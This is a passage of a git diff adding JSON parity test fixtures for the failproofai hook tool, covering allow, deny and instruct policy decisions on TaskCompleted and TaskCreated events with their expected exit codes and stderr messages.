"transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/TaskCompleted/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..b3319241 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/TaskCompleted/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..9ce19e24 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/TaskCompleted/deny__tool-present__one-policy.json new file mode 100644 index 00000000..88cd4d87 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/TaskCompleted/deny__tool-present__two-policies.json new file mode 100644 index 00000000..9bbcb483 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/TaskCompleted/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..bdb58e0c --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/TaskCompleted/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f3c9d92a --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/TaskCompleted/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ae26b93f --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCompleted/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/TaskCompleted/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..c20a1d9c --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCompleted/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "TaskCompleted", + "input": { + "event_type": "TaskCompleted", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCompleted", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCompleted", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/TaskCreated/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..f7d6442d --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/TaskCreated/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..7612db85 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/TaskCreated/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..c13d30ff --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/TaskCreated/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..f59c8150 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/TaskCreated/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..e13da926 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/TaskCreated/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..4cd6fc85 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/TaskCreated/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..2c79a393 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/TaskCreated/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..6b556b35 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/TaskCreated/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..73631a67 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/TaskCreated/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..de631a1f --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/TaskCreated/deny__tool-present__one-policy.json new file mode 100644 index 00000000..36765390 --- /dev/null +++ b/__tests__/parity/fixtures/factory/TaskCreated/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/TaskCreated/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/TaskCreated/deny__tool-present__two-policies.json new file mode 100644 index 00000000..2ff902aa --- /dev/null +++ 